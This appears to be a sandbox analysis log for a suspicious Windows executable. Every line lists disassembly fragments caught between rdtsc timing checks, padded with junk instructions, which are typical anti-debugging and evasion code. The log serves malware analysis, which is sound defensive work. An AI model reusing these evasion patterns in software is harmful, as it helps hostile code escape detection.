Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122CF49 second address: 122CF59 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA470BCBE6Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122CF59 second address: 122CF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122CF5F second address: 122CF63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D0B5 second address: 122D0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D0B9 second address: 122D0EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA470BCBE6Dh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA470BCBE76h 0x0000000f popad 0x00000010 jo 00007FA470BCBE6Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D0EA second address: 122D111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007FA47177F55Ch 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FA47177F554h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D111 second address: 122D115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D39D second address: 122D3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D3A6 second address: 122D3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA470BCBE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C046 second address: 122C04A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C04A second address: 122C065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jl 00007FA470BCBE66h 0x00000011 jo 00007FA470BCBE66h 0x00000017 popad 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1232D1A second address: 1232D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FA47177F556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F3EF8 second address: 11F3F02 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F3F02 second address: 11F3F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F415F second address: 11F4168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4168 second address: 11F416C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F416C second address: 11F4170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4578 second address: 11F4582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA47177F546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4582 second address: 11F45B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA470BCBE71h 0x0000000e xchg eax, esi 0x0000000f mov dword ptr [ebp+122D2466h], edx 0x00000015 nop 0x00000016 push ecx 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F45B1 second address: 11F45B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F45B7 second address: 11F45BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F47B6 second address: 11F47BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F48A6 second address: 11F48C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007FA470BCBE66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA470BCBE72h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F48C9 second address: 11F491C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FA47177F548h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 add ecx, dword ptr [ebp+122D1DE5h] 0x0000002a push 00000004h 0x0000002c cmc 0x0000002d nop 0x0000002e push esi 0x0000002f jmp 00007FA47177F54Dh 0x00000034 pop esi 0x00000035 push eax 0x00000036 push edx 0x00000037 jp 00007FA47177F54Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4D5E second address: 11F4D6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4D6C second address: 11F4D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4EED second address: 11F4EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4FCF second address: 11F4FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4FD3 second address: 11F4FD9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4FD9 second address: 11F4FDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1232FF1 second address: 1232FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123317B second address: 123317F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123317F second address: 1233185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12332F5 second address: 1233305 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA47177F546h 0x00000008 jc 00007FA47177F546h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1233305 second address: 1233313 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA470BCBE68h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1233313 second address: 1233319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1233319 second address: 123331D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12335EF second address: 12335FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA47177F54Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12335FB second address: 1233601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1233889 second address: 123389C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123389C second address: 12338A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1236096 second address: 12360B8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA47177F548h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA47177F550h 0x00000011 jng 00007FA47177F546h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12360B8 second address: 12360BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1235C25 second address: 1235C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F557h 0x00000008 jnc 00007FA47177F546h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1235DC0 second address: 1235DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1235DC5 second address: 1235DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA47177F546h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1235DD1 second address: 1235DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1235DD5 second address: 1235DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA47177F554h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1238E53 second address: 1238E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1238E59 second address: 1238E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007FA47177F54Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B333B second address: 11B333F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B333F second address: 11B3345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1238883 second address: 12388BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE6Bh 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FA470BCBE73h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA470BCBE6Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12388BB second address: 12388DD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA47177F546h 0x00000008 jmp 00007FA47177F555h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123CE22 second address: 123CE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123CE26 second address: 123CE54 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA47177F552h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA47177F54Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123CE54 second address: 123CE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123CE58 second address: 123CE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FA47177F548h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123D00B second address: 123D00F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123D15B second address: 123D168 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA47177F546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123D168 second address: 123D16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123D16E second address: 123D174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 123D594 second address: 123D598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12418C6 second address: 12418CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241A38 second address: 1241A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241A3C second address: 1241A60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FA47177F546h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241A60 second address: 1241A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241BF1 second address: 1241C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241E4A second address: 1241E50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1241F7B second address: 1241F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4AB3 second address: 11F4AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F4AC2 second address: 11F4AC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12420F1 second address: 124213C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE6Dh 0x00000009 jmp 00007FA470BCBE72h 0x0000000e jmp 00007FA470BCBE6Bh 0x00000013 popad 0x00000014 jg 00007FA470BCBE79h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124213C second address: 1242154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 push esi 0x00000011 je 00007FA47177F546h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1242154 second address: 124215A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124215A second address: 1242160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1242160 second address: 1242164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124231A second address: 124232B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FA47177F546h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124232B second address: 124232F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124232F second address: 124233B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124233B second address: 1242345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA470BCBE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1242D1E second address: 1242D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1242D23 second address: 1242D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007FA470BCBE66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1242D2F second address: 1242D47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FA47177F55Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FA47177F546h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246ABC second address: 1246AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A9531 second address: 11A9543 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FA47177F546h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A9543 second address: 11A9547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A9547 second address: 11A954B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A954B second address: 11A9567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FA470BCBE6Ch 0x0000000c popad 0x0000000d push esi 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246289 second address: 124628D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124628D second address: 1246293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246293 second address: 12462B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA47177F558h 0x0000000d jnc 00007FA47177F546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12462B9 second address: 12462E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE72h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FA470BCBE72h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12462E6 second address: 12462EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 124642E second address: 1246449 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA470BCBE6Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1246449 second address: 124644D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
